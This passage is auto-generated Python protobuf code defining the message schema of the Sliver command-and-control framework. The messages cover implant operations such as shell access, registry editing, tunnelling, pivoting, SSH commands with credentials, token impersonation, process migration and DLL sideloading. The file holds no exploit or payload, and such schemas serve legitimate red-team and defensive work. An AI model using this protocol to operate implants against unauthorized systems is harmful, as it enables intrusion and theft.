\x01(\x0b\x32\x11.commonpb.Request\"3\n\x0bServiceInfo\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"7\n\x0eServiceInfoReq\x12\x13\n\x0bServiceName\x18\x01 \x01(\t\x12\x10\n\x08Hostname\x18\x02 \x01(\t\"c\n\x0eStopServiceReq\x12-\n\x0bServiceInfo\x18\x01 \x01(\x0b\x32\x18.sliverpb.ServiceInfoReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"e\n\x10RemoveServiceReq\x12-\n\x0bServiceInfo\x18\x01 \x01(\x0b\x32\x18.sliverpb.ServiceInfoReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"p\n\x0fRegistryReadReq\x12\x0c\n\x04Hive\x18\x01 \x01(\t\x12\x0c\n\x04Path\x18\x02 \x01(\t\x12\x0b\n\x03Key\x18\x03 \x01(\t\x12\x10\n\x08Hostname\x18\x04 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"C\n\x0cRegistryRead\x12\r\n\x05Value\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\xcf\x01\n\x10RegistryWriteReq\x12\x0c\n\x04Hive\x18\x01 \x01(\t\x12\x0c\n\x04Path\x18\x02 \x01(\t\x12\x0b\n\x03Key\x18\x03 \x01(\t\x12\x10\n\x08Hostname\x18\x04 \x01(\t\x12\x13\n\x0bStringValue\x18\x05 \x01(\t\x12\x11\n\tByteValue\x18\x06 \x01(\x0c\x12\x12\n\nDWordValue\x18\x07 \x01(\r\x12\x12\n\nQWordValue\x18\x08 \x01(\x04\x12\x0c\n\x04Type\x18\n \x01(\r\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"5\n\rRegistryWrite\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"u\n\x14RegistryCreateKeyReq\x12\x0c\n\x04Hive\x18\x01 \x01(\t\x12\x0c\n\x04Path\x18\x02 \x01(\t\x12\x0b\n\x03Key\x18\x03 \x01(\t\x12\x10\n\x08Hostname\x18\x04 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"9\n\x11RegistryCreateKey\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"u\n\x14RegistryDeleteKeyReq\x12\x0c\n\x04Hive\x18\x01 \x01(\t\x12\x0c\n\x04Path\x18\x02 \x01(\t\x12\x0b\n\x03Key\x18\x03 \x01(\t\x12\x10\n\x08Hostname\x18\x04 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"9\n\x11RegistryDeleteKey\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"i\n\x15RegistrySubKeyListReq\x12\x0c\n\x04Hive\x18\x01 \x01(\t\x12\x0c\n\x04Path\x18\x02 \x01(\t\x12\x10\n\x08Hostname\x18\x04 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"K\n\x12RegistrySubKeyList\x12\x0f\n\x07Subkeys\x18\x01 \x03(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"i\n\x15RegistryListValuesReq\x12\x0c\n\x04Hive\x18\x01 \x01(\t\x12\x0c\n\x04Path\x18\x02 \x01(\t\x12\x10\n\x08Hostname\x18\x04 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"N\n\x12RegistryValuesList\x12\x12\n\nValueNames\x18\x01 \x03(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"1\n\x06Tunnel\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12\x11\n\tSessionID\x18\t \x01(\t\"\xbf\x01\n\nTunnelData\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12\x0e\n\x06\x43losed\x18\x02 \x01(\x08\x12\x10\n\x08Sequence\x18\x03 \x01(\x04\x12\x0b\n\x03\x41\x63k\x18\x04 \x01(\x04\x12\x0e\n\x06Resend\x18\x05 \x01(\x08\x12\x15\n\rCreateReverse\x18\x06 \x01(\x08\x12$\n\x08rportfwd\x18\x07 \x01(\x0b\x32\x12.sliverpb.RPortfwd\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12\x11\n\tSessionID\x18\t \x01(\t\"r\n\x08ShellReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x11\n\tEnablePTY\x18\x02 \x01(\x08\x12\x0b\n\x03Pid\x18\x03 \x01(\r\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"q\n\x05Shell\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x11\n\tEnablePTY\x18\x02 \x01(\x08\x12\x0b\n\x03Pid\x18\x03 \x01(\r\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"t\n\nPortfwdReq\x12\x0c\n\x04Port\x18\x01 \x01(\r\x12\x10\n\x08Protocol\x18\x02 \x01(\x05\x12\x0c\n\x04Host\x18\x03 \x01(\t\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"s\n\x07Portfwd\x12\x0c\n\x04Port\x18\x01 \x01(\r\x12\x10\n\x08Protocol\x18\x02 \x01(\x05\x12\x0c\n\x04Host\x18\x03 \x01(\t\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"0\n\x05Socks\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12\x11\n\tSessionID\x18\t \x01(\t\"\x9c\x01\n\tSocksData\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12\x11\n\tCloseConn\x18\x02 \x01(\x08\x12\x10\n\x08Username\x18\x03 \x01(\t\x12\x10\n\x08Password\x18\x04 \x01(\t\x12\x10\n\x08Sequence\x18\x05 \x01(\x04\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x84\x01\n\x15PivotStartListenerReq\x12!\n\x04Type\x18\x01 \x01(\x0e\x32\x13.sliverpb.PivotType\x12\x13\n\x0b\x42indAddress\x18\x02 \x01(\t\x12\x0f\n\x07Options\x18\x03 \x03(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"F\n\x14PivotStopListenerReq\x12\n\n\x02ID\x18\x01 \x01(\r\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\xa1\x01\n\rPivotListener\x12\n\n\x02ID\x18\x01 \x01(\r\x12!\n\x04Type\x18\x02 \x01(\x0e\x32\x13.sliverpb.PivotType\x12\x13\n\x0b\x42indAddress\x18\x03 \x01(\t\x12&\n\x06Pivots\x18\x04 \x03(\x0b\x32\x16.sliverpb.NetConnPivot\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"c\n\nPivotHello\x12\x11\n\tPublicKey\x18\x01 \x01(\x0c\x12\x12\n\x06PeerID\x18\x02 \x01(\x03\x42\x02\x30\x01\x12\x1a\n\x12PublicKeySignature\x18\x03 \x01(\t\x12\x12\n\nSessionKey\x18\x04 \x01(\x0c\">\n\x16PivotServerKeyExchange\x12\x10\n\x08OriginID\x18\x01 \x01(\x03\x12\x12\n\nSessionKey\x18\x02 \x01(\x0c\"-\n\tPivotPeer\x12\x12\n\x06PeerID\x18\x01 \x01(\x03\x42\x02\x30\x01\x12\x0c\n\x04Name\x18\x02 \x01(\t\"\x82\x01\n\x11PivotPeerEnvelope\x12\"\n\x05Peers\x18\x01 \x03(\x0b\x32\x13.sliverpb.PivotPeer\x12\x0c\n\x04Type\x18\x02 \x01(\r\x12\x16\n\x0ePivotSessionID\x18\x03 \x01(\x0c\x12\x0c\n\x04\x44\x61ta\x18\x04 \x01(\x0c\x12\x15\n\rPeerFailureAt\x18\x05 \x01(\x03\"\x1a\n\tPivotPing\x12\r\n\x05Nonce\x18\x01 \x01(\r\"9\n\x0cNetConnPivot\x12\x12\n\x06PeerID\x18\x01 \x01(\x03\x42\x02\x30\x01\x12\x15\n\rRemoteAddress\x18\x02 \x01(\t\"\\\n\x10PivotPeerFailure\x12\x12\n\x06PeerID\x18\x01 \x01(\x03\x42\x02\x30\x01\x12\'\n\x04Type\x18\x02 \x01(\x0e\x32\x19.sliverpb.PeerFailureType\x12\x0b\n\x03\x45rr\x18\x03 \x01(\t\"7\n\x11PivotListenersReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"b\n\x0ePivotListeners\x12*\n\tListeners\x18\x01 \x03(\x0b\x32\x17.sliverpb.PivotListener\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"e\n\x15WGPortForwardStartReq\x12\x11\n\tLocalPort\x18\x01 \x01(\x05\x12\x15\n\rRemoteAddress\x18\x02 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"b\n\rWGPortForward\x12+\n\tForwarder\x18\x01 \x01(\x0b\x32\x18.sliverpb.WGTCPForwarder\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"F\n\x14WGPortForwardStopReq\x12\n\n\x02ID\x18\x01 \x01(\x05\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"C\n\x0fWGSocksStartReq\x12\x0c\n\x04Port\x18\x01 \x01(\x05\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"X\n\x07WGSocks\x12\'\n\x06Server\x18\x01 \x01(\x0b\x32\x17.sliverpb.WGSocksServer\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"@\n\x0eWGSocksStopReq\x12\n\n\x02ID\x18\x01 \x01(\x05\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"8\n\x12WGTCPForwardersReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"7\n\x11WGSocksServersReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"C\n\x0eWGTCPForwarder\x12\n\n\x02ID\x18\x01 \x01(\x05\x12\x11\n\tLocalAddr\x18\x02 \x01(\t\x12\x12\n\nRemoteAddr\x18\x03 \x01(\t\".\n\rWGSocksServer\x12\n\n\x02ID\x18\x01 \x01(\x05\x12\x11\n\tLocalAddr\x18\x02 \x01(\t\"`\n\x0eWGSocksServers\x12(\n\x07Servers\x18\x01 \x03(\x0b\x32\x17.sliverpb.WGSocksServer\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"e\n\x0fWGTCPForwarders\x12,\n\nForwarders\x18\x01 \x03(\x0b\x32\x18.sliverpb.WGTCPForwarder\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"}\n\x0eReconfigureReq\x12\x19\n\x11ReconnectInterval\x18\x01 \x01(\x03\x12\x16\n\x0e\x42\x65\x61\x63onInterval\x18\x02 \x01(\x03\x12\x14\n\x0c\x42\x65\x61\x63onJitter\x18\x03 \x01(\x03\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"3\n\x0bReconfigure\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"K\n\x0fPollIntervalReq\x12\x14\n\x0cPollInterval\x18\x01 \x01(\x03\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"4\n\x0cPollInterval\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\xca\x01\n\rSSHCommandReq\x12\x10\n\x08Username\x18\x01 \x01(\t\x12\x10\n\x08Hostname\x18\x02 \x01(\t\x12\x0c\n\x04Port\x18\x03 \x01(\r\x12\x0f\n\x07\x43ommand\x18\x04 \x01(\t\x12\x10\n\x08Password\x18\x05 \x01(\t\x12\x0f\n\x07PrivKey\x18\x06 \x01(\x0c\x12\x10\n\x08Krb5Conf\x18\x07 \x01(\t\x12\x0e\n\x06Keytab\x18\x08 \x01(\x0c\x12\r\n\x05Realm\x18\n \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"R\n\nSSHCommand\x12\x0e\n\x06StdOut\x18\x01 \x01(\t\x12\x0e\n\x06StdErr\x18\x02 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"1\n\x0bGetPrivsReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x8d\x01\n\x15WindowsPrivilegeEntry\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x13\n\x0b\x44\x65scription\x18\x02 \x01(\t\x12\x0f\n\x07\x45nabled\x18\x03 \x01(\x08\x12\x18\n\x10\x45nabledByDefault\x18\x04 \x01(\x08\x12\x0f\n\x07Removed\x18\x05 \x01(\x08\x12\x15\n\rUsedForAccess\x18\x06 \x01(\x08\"\x92\x01\n\x08GetPrivs\x12\x31\n\x08PrivInfo\x18\x01 \x03(\x0b\x32\x1f.sliverpb.WindowsPrivilegeEntry\x12\x18\n\x10ProcessIntegrity\x18\x02 \x01(\t\x12\x13\n\x0bProcessName\x18\x03 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"p\n\x14RegisterExtensionReq\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x0c\n\x04\x44\x61ta\x18\x02 \x01(\x0c\x12\n\n\x02OS\x18\x03 \x01(\t\x12\x0c\n\x04Init\x18\x04 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"9\n\x11RegisterExtension\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"w\n\x10\x43\x61llExtensionReq\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x13\n\x0bServerStore\x18\x02 \x01(\x08\x12\x0c\n\x04\x41rgs\x18\x03 \x01(\x0c\x12\x0e\n\x06\x45xport\x18\x04 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"Z\n\rCallExtension\x12\x0e\n\x06Output\x18\x01 \x01(\x0c\x12\x13\n\x0bServerStore\x18\x02 \x01(\x08\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"7\n\x11ListExtensionsReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"E\n\x0eListExtensions\x12\r\n\x05Names\x18\x01 \x03(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"I\n\x17RportFwdStopListenerReq\x12\n\n\x02ID\x18\x01 \x01(\r\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x92\x01\n\x18RportFwdStartListenerReq\x12\x13\n\x0b\x42indAddress\x18\x01 \x01(\t\x12\x10\n\x08\x42indPort\x18\x02 \x01(\r\x12\x13\n\x0b\x46orwardPort\x18\x03 \x01(\r\x12\x16\n\x0e\x46orwardAddress\x18\x04 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x98\x01\n\x10RportFwdListener\x12\n\n\x02ID\x18\x01 \x01(\r\x12\x13\n\x0b\x42indAddress\x18\x02 \x01(\t\x12\x10\n\x08\x42indPort\x18\x03 \x01(\r\x12\x16\n\x0e\x46orwardAddress\x18\x04 \x01(\t\x12\x13\n\x0b\x46orwardPort\x18\x05 \x01(\r\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"h\n\x11RportFwdListeners\x12-\n\tListeners\x18\x01 \x03(\x0b\x32\x1a.sliverpb.RportFwdListener\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\":\n\x14RportFwdListenersReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"t\n\x08RPortfwd\x12\x0c\n\x04Port\x18\x01 \x01(\r\x12\x10\n\x08Protocol\x18\x02 \x01(\x05\x12\x0c\n\x04Host\x18\x03 \x01(\t\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"u\n\x0bRPortfwdReq\x12\x0c\n\x04Port\x18\x01 \x01(\r\x12\x10\n\x08Protocol\x18\x02 \x01(\x05\x12\x0c\n\x04Host\x18\x03 \x01(\t\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"a\n\x08\x43hmodReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x10\n\x08\x46ileMode\x18\x02 \x01(\t\x12\x11\n\tRecursive\x18\x03 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\";\n\x05\x43hmod\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"i\n\x08\x43hownReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x0b\n\x03Uid\x18\x02 \x01(\t\x12\x0b\n\x03Gid\x18\x03 \x01(\t\x12\x11\n\tRecursive\x18\x04 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\";\n\x05\x43hown\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\\\n\nChtimesReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\r\n\x05\x41Time\x18\x02 \x01(\x03\x12\r\n\x05MTime\x18\x03 \x01(\x03\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"=\n\x07\x43htimes\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"5\n\x0fMemfilesListReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"4\n\x0eMemfilesAddReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"?\n\x0bMemfilesAdd\x12\n\n\x02\x46\x64\x18\x01 \x01(\x03\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"?\n\rMemfilesRmReq\x12\n\n\x02\x46\x64\x18\x01 \x01(\x03\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\">\n\nMemfilesRm\x12\n\n\x02\x46\x64\x18\x01 \x01(\x03\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\\\n\x18RegisterWasmExtensionReq\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x0e\n\x06WasmGz\x18\x02 \x01(\x0c\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"=\n\x15RegisterWasmExtension\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"N\n\x1a\x44\x65registerWasmExtensionReq\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\";\n\x15ListWasmExtensionsReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"I\n\x12ListWasmExtensions\x12\r\n\x05Names\x18\x01 \x03(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\xe9\x01\n\x14\x45xecWasmExtensionReq\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x0c\n\x04\x41rgs\x18\x02 \x03(\t\x12\x13\n\x0bInteractive\x18\x03 \x01(\x08\x12\x38\n\x05MemFS\x18\x04 \x03(\x0b\x32).sliverpb.ExecWasmExtensionReq.MemFSEntry\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\x1a,\n\nMemFSEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\x0c:\x02\x38\x01\"k\n\x11\x45xecWasmExtension\x12\x0e\n\x06Stdout\x18\x01 \x01(\x0c\x12\x0e\n\x06Stderr\x18\x02 \x01(\x0c\x12\x10\n\x08\x45xitCode\x18\x03 \x01(\r\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response*I\n\x0cRegistryType\x12\x0b\n\x07Unknown\x10\x00\x12\n\n\x06\x42inary\x10\x01\x12\n\n\x06String\x10\x02\x12\t\n\x05\x44WORD\x10\x03\x12\t\n\x05QWORD\x10\x04*,\n\tPivotType\x12\x07\n\x03TCP\x10\x00\x12\x07\n\x03UDP\x10\x01\x12\r\n\tNamedPipe\x10\x02*3\n\x0fPeerFailureType\x12\x10\n\x0cSEND_FAILURE\x10\x00\x12\x0e\n\nDISCONNECT\x10\x01\x42/Z-github.com/bishopfox/sliver/protobuf/sliverpbb\x06proto3') + +_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals()) +_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'sliverpb.sliver_pb2', globals()) +if _descriptor._USE_C_DESCRIPTORS == False: + + DESCRIPTOR._options = None + DESCRIPTOR._serialized_options = b'Z-github.com/bishopfox/sliver/protobuf/sliverpb' + _TUNNEL.fields_by_name['TunnelID']._options = None + _TUNNEL.fields_by_name['TunnelID']._serialized_options = b'0\001' + _TUNNELDATA.fields_by_name['TunnelID']._options = None + _TUNNELDATA.fields_by_name['TunnelID']._serialized_options = b'0\001' + _SHELLREQ.fields_by_name['TunnelID']._options = None + _SHELLREQ.fields_by_name['TunnelID']._serialized_options = b'0\001' + _SHELL.fields_by_name['TunnelID']._options = None + _SHELL.fields_by_name['TunnelID']._serialized_options = b'0\001' + _PORTFWDREQ.fields_by_name['TunnelID']._options = None + _PORTFWDREQ.fields_by_name['TunnelID']._serialized_options = b'0\001' + _PORTFWD.fields_by_name['TunnelID']._options = None + _PORTFWD.fields_by_name['TunnelID']._serialized_options = b'0\001' + _SOCKS.fields_by_name['TunnelID']._options = None + _SOCKS.fields_by_name['TunnelID']._serialized_options = b'0\001' + _SOCKSDATA.fields_by_name['TunnelID']._options = None + _SOCKSDATA.fields_by_name['TunnelID']._serialized_options = b'0\001' + _PIVOTHELLO.fields_by_name['PeerID']._options = None + _PIVOTHELLO.fields_by_name['PeerID']._serialized_options = b'0\001' + _PIVOTPEER.fields_by_name['PeerID']._options = None + _PIVOTPEER.fields_by_name['PeerID']._serialized_options = b'0\001' + _NETCONNPIVOT.fields_by_name['PeerID']._options = None + _NETCONNPIVOT.fields_by_name['PeerID']._serialized_options = b'0\001' + _PIVOTPEERFAILURE.fields_by_name['PeerID']._options = None + _PIVOTPEERFAILURE.fields_by_name['PeerID']._serialized_options = b'0\001' + _RPORTFWD.fields_by_name['TunnelID']._options = None + _RPORTFWD.fields_by_name['TunnelID']._serialized_options = b'0\001' + _RPORTFWDREQ.fields_by_name['TunnelID']._options = None + _RPORTFWDREQ.fields_by_name['TunnelID']._serialized_options = b'0\001' + _EXECWASMEXTENSIONREQ_MEMFSENTRY._options = None + _EXECWASMEXTENSIONREQ_MEMFSENTRY._serialized_options = b'8\001' + _EXECWASMEXTENSIONREQ.fields_by_name['TunnelID']._options = None + _EXECWASMEXTENSIONREQ.fields_by_name['TunnelID']._serialized_options = b'0\001' + _REGISTRYTYPE._serialized_start=15534 + _REGISTRYTYPE._serialized_end=15607 + _PIVOTTYPE._serialized_start=15609 + _PIVOTTYPE._serialized_end=15653 + _PEERFAILURETYPE._serialized_start=15655 + _PEERFAILURETYPE._serialized_end=15706 + _ENVELOPE._serialized_start=58 + _ENVELOPE._serialized_end=136 + _BEACONTASKS._serialized_start=138 + _BEACONTASKS._serialized_end=219 + _REGISTER._serialized_start=222 + _REGISTER._serialized_end=509 + _BEACONREGISTER._serialized_start=511 + _BEACONREGISTER._serialized_end=632 + _SESSIONREGISTER._serialized_start=634 + _SESSIONREGISTER._serialized_end=701 + _OPENSESSION._serialized_start=703 + _OPENSESSION._serialized_end=818 + _CLOSESESSION._serialized_start=820 + _CLOSESESSION._serialized_end=908 + _PING._serialized_start=910 + _PING._serialized_end=1005 + _KILLREQ._serialized_start=1007 + _KILLREQ._serialized_end=1067 + _PSREQ._serialized_start=1069 + _PSREQ._serialized_end=1112 + _PS._serialized_start=1114 + _PS._serialized_end=1194 + _TERMINATEREQ._serialized_start=1196 + _TERMINATEREQ._serialized_end=1274 + _TERMINATE._serialized_start=1276 + _TERMINATE._serialized_end=1338 + _IFCONFIGREQ._serialized_start=1340 + _IFCONFIGREQ._serialized_end=1389 + _IFCONFIG._serialized_start=1391 + _IFCONFIG._serialized_end=1486 + _NETINTERFACE._serialized_start=1488 + _NETINTERFACE._serialized_end=1565 + _LSREQ._serialized_start=1567 + _LSREQ._serialized_end=1624 + _LS._serialized_start=1627 + _LS._serialized_end=1776 + _FILEINFO._serialized_start=1778 + _FILEINFO._serialized_end=1902 + _CDREQ._serialized_start=1904 + _CDREQ._serialized_end=1961 + _PWDREQ._serialized_start=1963 + _PWDREQ._serialized_end=2007 + _PWD._serialized_start=2009 + _PWD._serialized_end=2066 + _RMREQ._serialized_start=2068 + _RMREQ._serialized_end=2159 + _RM._serialized_start=2161 + _RM._serialized_end=2217 + _MVREQ._serialized_start=2219 + _MVREQ._serialized_end=2288 + _MV._serialized_start=2290 + _MV._serialized_end=2358 + _MKDIRREQ._serialized_start=2360 + _MKDIRREQ._serialized_end=2420 + _MKDIR._serialized_start=2422 + _MKDIR._serialized_end=2481 + _DOWNLOADREQ._serialized_start=2483 + _DOWNLOADREQ._serialized_end=2592 + _DOWNLOAD._serialized_start=2595 + _DOWNLOAD._serialized_end=2792 + _UPLOADREQ._serialized_start=2794 + _UPLOADREQ._serialized_end=2901 + _UPLOAD._serialized_start=2903 + _UPLOAD._serialized_end=2963 + _PROCESSDUMPREQ._serialized_start=2965 + _PROCESSDUMPREQ._serialized_end=3047 + _PROCESSDUMP._serialized_start=3049 + _PROCESSDUMP._serialized_end=3114 + _RUNASREQ._serialized_start=3117 + _RUNASREQ._serialized_end=3287 + _RUNAS._serialized_start=3289 + _RUNAS._serialized_end=3350 + _IMPERSONATEREQ._serialized_start=3352 + _IMPERSONATEREQ._serialized_end=3422 + _IMPERSONATE._serialized_start=3424 + _IMPERSONATE._serialized_end=3475 + _REVTOSELFREQ._serialized_start=3477 + _REVTOSELFREQ._serialized_end=3527 + _REVTOSELF._serialized_start=3529 + _REVTOSELF._serialized_end=3578 + _CURRENTTOKENOWNERREQ._serialized_start=3580 + _CURRENTTOKENOWNERREQ._serialized_end=3638 + _CURRENTTOKENOWNER._serialized_start=3640 + _CURRENTTOKENOWNER._serialized_end=3713 + _INVOKEGETSYSTEMREQ._serialized_start=3715 + _INVOKEGETSYSTEMREQ._serialized_end=3809 + _GETSYSTEM._serialized_start=3811 + _GETSYSTEM._serialized_end=3860 + _MAKETOKENREQ._serialized_start=3862 + _MAKETOKENREQ._serialized_end=3983 + _MAKETOKEN._serialized_start=3985 + _MAKETOKEN._serialized_end=4034 + _TASKREQ._serialized_start=4036 + _TASKREQ._serialized_end=4143 + _TASK._serialized_start=4145 + _TASK._serialized_end=4189 + _EXECUTEASSEMBLYREQ._serialized_start=4192 + _EXECUTEASSEMBLYREQ._serialized_end=4495 + _INVOKEEXECUTEASSEMBLYREQ._serialized_start=4498 + _INVOKEEXECUTEASSEMBLYREQ._serialized_end=4626 + _INVOKEINPROCEXECUTEASSEMBLYREQ._serialized_start=4629 + _INVOKEINPROCEXECUTEASSEMBLYREQ._serialized_end=4786 + _EXECUTEASSEMBLY._serialized_start=4788 + _EXECUTEASSEMBLY._serialized_end=4859 + _INVOKEMIGRATEREQ._serialized_start=4861 + _INVOKEMIGRATEREQ._serialized_end=4942 + _MIGRATE._serialized_start=4944 + _MIGRATE._serialized_end=5008 + _EXECUTEREQ._serialized_start=5011 + _EXECUTEREQ._serialized_end=5149 + _EXECUTEWINDOWSREQ._serialized_start=5152 + _EXECUTEWINDOWSREQ._serialized_end=5315 + _EXECUTE._serialized_start=5317 + _EXECUTE._serialized_end=5425 + _SIDELOADREQ._serialized_start=5428 + _SIDELOADREQ._serialized_end=5629 + _SIDELOAD._serialized_start=5631 + _SIDELOAD._serialized_end=5695 + _INVOKESPAWNDLLREQ._serialized_start=5698 + _INVOKESPAWNDLLREQ._serialized_end=5871 + _SPAWNDLLREQ._serialized_start=5874 + _SPAWNDLLREQ._serialized_end=6037 + _SPAWNDLL._serialized_start=6039 + _SPAWNDLL._serialized_end=6103 + _NETSTATREQ._serialized_start=6105 + _NETSTATREQ._serialized_end=6224 + _SOCKTABENTRY._serialized_start=6227 + _SOCKTABENTRY._serialized_end=6468 + _SOCKTABENTRY_SOCKADDR._serialized_start=6432 + _SOCKTABENTRY_SOCKADDR._serialized_end=6468 + _NETSTAT._serialized_start=6470 + _NETSTAT._serialized_end=6558 + _ENVREQ._serialized_start=6560 + _ENVREQ._serialized_end=6618 + _ENVINFO._serialized_start=6620 + _ENVINFO._serialized_end=6704 + _SETENVREQ._serialized_start=6706 + 